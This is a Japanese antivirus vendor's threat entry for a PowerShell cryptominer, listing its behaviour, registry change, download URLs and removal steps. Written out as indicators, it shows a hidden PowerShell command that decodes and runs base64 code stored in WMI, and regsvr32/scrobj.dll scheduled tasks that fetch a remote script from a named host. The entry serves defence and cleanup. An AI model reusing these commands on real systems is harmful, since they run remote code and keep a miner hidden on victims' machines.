Trend Micro Security

Coinminer.PS1.MALXMR.AE

2019年3月11日
 解析者: Jemimah Mae Molina   

 別名:

Troj/PSCmine-A (SOPHOS_LITE)

 プラットフォーム:

Windows

 危険度:
 ダメージ度:
 感染力:
 感染確認数:
 情報漏えい:


  • マルウェアタイプ: 仮想通貨発掘ツール(コインマイナー)
  • 破壊活動の有無: なし
  • 暗号化: はい
  • 感染報告の有無: はい

  概要

感染経路 インターネットからのダウンロード, 他のマルウェアからの作成

コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。


  詳細

ファイルサイズ 4,092,382 bytes
タイプ PS1
メモリ常駐 はい
発見日 2019年3月8日
ペイロード URLまたはIPアドレスに接続, 情報収集, プロセスの強制終了

侵入方法

コインマイナーは、他のマルウェアに作成されるか、悪意あるWebサイトからユーザが誤ってダウンロードすることによりコンピュータに侵入します。

インストール

コインマイナーは、以下のファイルを作成し実行します。

コインマイナーは、以下のプロセスを追加します。

  • NETSTAT.EXE -anop tcp
  • powershell.exe -NoP -NonI -W Hidden "$mon = ([WmiClass] 'root\default:System_Anti_Virus_Core').Properties['mon'].Value$funs = ([WmiClass] 'root\default:System_Anti_Virus_Core').Properties['funs'].Value iex ([System.Text.Encoding]::ASCII.GetString([System.Convert]::FromBase64String($funs)))Invoke-Command -ScriptBlock $RemoteScriptBlock -ArgumentList @($mon, $mon, 'Void', 0, '', '')"

他のシステム変更

コインマイナーは、以下のレジストリ値を追加します。

HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\
services\IPSec
OperationMode = 3

ダウンロード活動

コインマイナーは、以下のWebサイトにアクセスし、ファイルをダウンロードします。

  • http://update.{BLOCKED}k.com:443/ver.txt
  • http://update.{BLOCKED}k.com:443/antitrojan.ps1
  • http://update.{BLOCKED}k.com:443/logos.png
  • http://update.{BLOCKED}k.com:443/cohernece.txt
  • http://update.{BLOCKED}k.com:443/antivirus.php
  • http://{BLOCKED}.{BLOCKED}.217.139/vercheck.ps1


  対応方法

対応検索エンジン: 9.850
初回 VSAPI パターンバージョン 14.859.00
初回 VSAPI パターンリリース日 2019年3月8日
VSAPI OPR パターンバージョン 14.859.00
VSAPI OPR パターンリリース日 2019年3月8日

手順 1

Windows XP、Windows Vista および Windows 7 のユーザは、コンピュータからマルウェアもしくはアドウェア等を完全に削除するために、ウイルス検索の実行前には必ず「システムの復元」を無効にしてください。

手順 2

このマルウェアもしくはアドウェア等の実行により、手順中に記載されたすべてのファイル、フォルダおよびレジストリキーや値がコンピュータにインストールされるとは限りません。インストールが不完全である場合の他、オペレーティングシステム(OS)の条件によりインストールがされない場合が考えられます。手順中に記載されたファイル/フォルダ/レジストリ情報が確認されない場合、該当の手順の操作は不要ですので、次の手順に進んでください。

手順 3

「Coinminer.PS1.MALXMR.AE」 が作成またはダウンロードした不正なファイルを削除します。(註:以下のマルウェアもしくはアドウェア等がすでに削除されている場合は、本手順は行う必要はありません。)

手順 4

Windowsをセーフモードで再起動します。

[ 詳細 ]

手順 5

変更されたレジストリ値を修正します。

[ 詳細 ]

警告:レジストリはWindowsの構成情報が格納されているデータベースであり、レジストリの編集内容に問題があると、システムが正常に動作しなくなる場合があります。
レジストリの編集はお客様の責任で行っていただくようお願いいたします。弊社ではレジストリの編集による如何なる問題に対しても補償いたしかねます。
レジストリの編集前にこちらをご参照ください。

  • In HKEY_LOCAL_MACHINE\SYSTEM\ControlSet001\services\IPSec
    • From: OperationMode = 3
      To: OperationMode = <default value>

手順 6

以下のファイルを検索し削除します。

[ 詳細 ]
コンポーネントファイルが隠しファイル属性に設定されている場合があります。[詳細設定オプション]をクリックし、[隠しファイルとフォルダの検索]のチェックボックスをオンにし、検索結果に隠しファイルとフォルダが含まれるようにしてください。
  • %User Temp%\a25hY2tlcmVk.txt

手順 7

スケジュールされたタスクを削除する

タスク削除の手順に含まれる{タスク名} - {実行するタスク}には以下が当てはまります。

  • WindowsLogTasks - regsvr32 /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll
  • System Log Security Check - regsvr32 /u /s /i:http://update.7h4uk.com:443/antivirus.php scrobj.dll

Windows 2000、Windows XP、Windows Server 2003の場合:

  1. [スタート]→[プログラム]→[アクセサリ]→[システムツール]→[スケジュールされたタスク]をクリックして、スケジュールされたタスクを開きます。
  2. 上記の{タスク名} を、[名前]の欄に入力します。
  3. 入力した{タスク名} 持つファイルを右クリックします。
  4. [プロパティ]をクリックします。 [実行]フィールドで、表示されている{実行するタスク}を確認します。
  5. 上記の{実行するタスク}と文字列が一致するタスクを削除します。

Windows Vista、Windows 7、Windows Server 2008、Windows 8、Windows 8.1、およびWindows Server 2012の場合:

  1. Windowsタスクスケジューラを開きます。
    • Windows Vista、Windows 7、Windows Server 2008の場合、[スタート]をクリックし、[検索]フィールドに「taskchd.msc」と入力してEnterキーを押します。
    • Windows 8、Windows 8.1、Windows Server 2012の場合、画面の左下隅を右クリックし、[実行]をクリックし、「taskchd.msc」と入力してEnterキーを押します。
  2. 左側のパネルで、[タスクスケジューラライブラリ]をクリックします。
  3. 中央上部のパネルで、上記の{タスク名}を[名前]の欄に入力します。
  4. 中央下部のパネルで、[アクション]タブをクリックします。 [詳細]の欄で、{実行するタスク}を確認します。
  5. 文字列が一致するタスクを削除します。

手順 8

コンピュータを通常モードで再起動し、最新のバージョン(エンジン、パターンファイル)を導入したウイルス対策製品を用い、「Coinminer.PS1.MALXMR.AE」と検出したファイルの検索を実行してください。 検出されたファイルが、弊社ウイルス対策製品により既に駆除、隔離またはファイル削除の処理が実行された場合、ウイルスの処理は完了しており、他の削除手順は特にありません。


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